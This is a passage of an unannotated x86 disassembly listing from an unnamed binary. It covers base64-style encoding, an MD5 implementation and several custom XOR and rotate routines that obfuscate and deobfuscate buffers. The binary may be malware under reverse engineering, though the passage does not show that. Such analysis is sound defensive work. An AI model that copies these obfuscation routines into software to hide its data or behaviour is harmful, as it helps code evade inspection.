[ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E980[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: .data:004168EFp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EA84 call sub_40F26E pop ecx pop ecx lea eax, byte_41EA84 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EA84[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: .data:004168FDp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EA98 call sub_40F26E pop ecx pop ecx lea esi, dword_41EA98 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EA98 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, 